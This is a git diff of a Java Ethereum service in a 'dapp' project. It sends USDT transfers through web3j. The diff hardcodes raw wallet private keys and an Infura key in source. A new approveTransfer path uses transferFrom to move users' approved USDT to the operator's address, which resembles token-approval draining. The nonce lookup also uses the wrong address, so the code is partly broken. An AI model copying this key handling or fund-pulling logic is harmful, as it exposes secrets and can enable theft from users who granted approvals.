Helius
2022-04-15 6768b37b0c70f4321d59f218871ccbdbeb503991
src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -53,13 +53,28 @@
    */
   //private static final String ETH_UTL = "http://120.55.86.146:8545";
   //   private static final String ETH_UTL = "http://114.55.250.231:8545";
   private static final String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
   private static final String OWNER_ADDRESS = "0xD998DA7362360eFC6daDFEd6E9a32E70640d7600";
   private static final String OWNER_PRIVATE = "06f95d3edf59888708d485d06b8b3e3f9aaa6b40d693018a1d19a7be95fe9419";
   private static String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
//   private static final String OWNER_ADDRESS = "0xD998DA7362360eFC6daDFEd6E9a32E70640d7600";
//   private static final String OWNER_PRIVATE = "06f95d3edf59888708d485d06b8b3e3f9aaa6b40d693018a1d19a7be95fe9419";
   private static String OWNER_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D";
   private static String OWNER_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb";
   public EthService() {
      try {
         HttpService service = new HttpService(ETH_UTL);
         web3j = Web3j.build(service);
      } catch (Exception e) {
         log.error("连接eth网络失败", e);
      }
   }
   public EthService(String url, String address, String privateKey) {
      try {
         OWNER_ADDRESS = address;
         OWNER_PRIVATE = privateKey;
         ETH_UTL = url;
         HttpService service = new HttpService(url);
         web3j = Web3j.build(service);
      } catch (Exception e) {
         log.error("连接eth网络失败", e);
@@ -212,8 +227,9 @@
      // Web3j web3j = Web3j.build(new
      // HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321"));
      if(StringUtils.isBlank(gas)){
         gas="70";
         gas="35";
      }
      String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
      Credentials credentials = Credentials.create(privateKey);
@@ -231,8 +247,57 @@
      RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
            Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
            Convert.toWei("60000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
            Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
              // 10*80000/1000000000=0.0008 手续费
      byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
      String hexValue = Numeric.toHexString(signedMessage);
      CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
      EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
      //return "hash";
//      log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
      if (ethSendTransaction.hasError()) {
         return "";
      } else {
         String transactionHash = ethSendTransaction.getTransactionHash();
         // log.info("Transfer transactionHash:" + transactionHash);
         return transactionHash;
      }
   }
   public String tokenTransferFrom(String privateKey, String fromAddress, String toAddress, String amount,String gas)
         throws InterruptedException, ExecutionException {
      if(StringUtils.isBlank(gas)){
         gas="35";
      }
      BigDecimal amountPow = new BigDecimal(amount).multiply(new BigDecimal("1000000"));
      amount = amountPow.toPlainString();
      if (amount.contains(".")) {
         amount = amount.substring(0, amount.lastIndexOf("."));
      }
      String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
      Credentials credentials = Credentials.create(privateKey);
      EthGetTransactionCount ethGetTransactionCount = web3j
            .ethGetTransactionCount(toAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
      BigInteger nonce = ethGetTransactionCount.getTransactionCount();
      Function function = new Function("transferFrom",
            Arrays.asList(new Address(fromAddress), new Address(toAddress), new Uint256(new BigInteger(amount))),
            Arrays.asList(new TypeReference<Type>() {
            }));
      String encodedFunction = FunctionEncoder.encode(function);
      RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
            Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
            Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
      // 10*80000/1000000000=0.0008 手续费
      byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
      String hexValue = Numeric.toHexString(signedMessage);
@@ -253,7 +318,7 @@
   public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {
      try {
         return tokenSend(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
         return tokenTransferFrom(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
      } catch (InterruptedException | ExecutionException e) {
         e.printStackTrace();
         return "";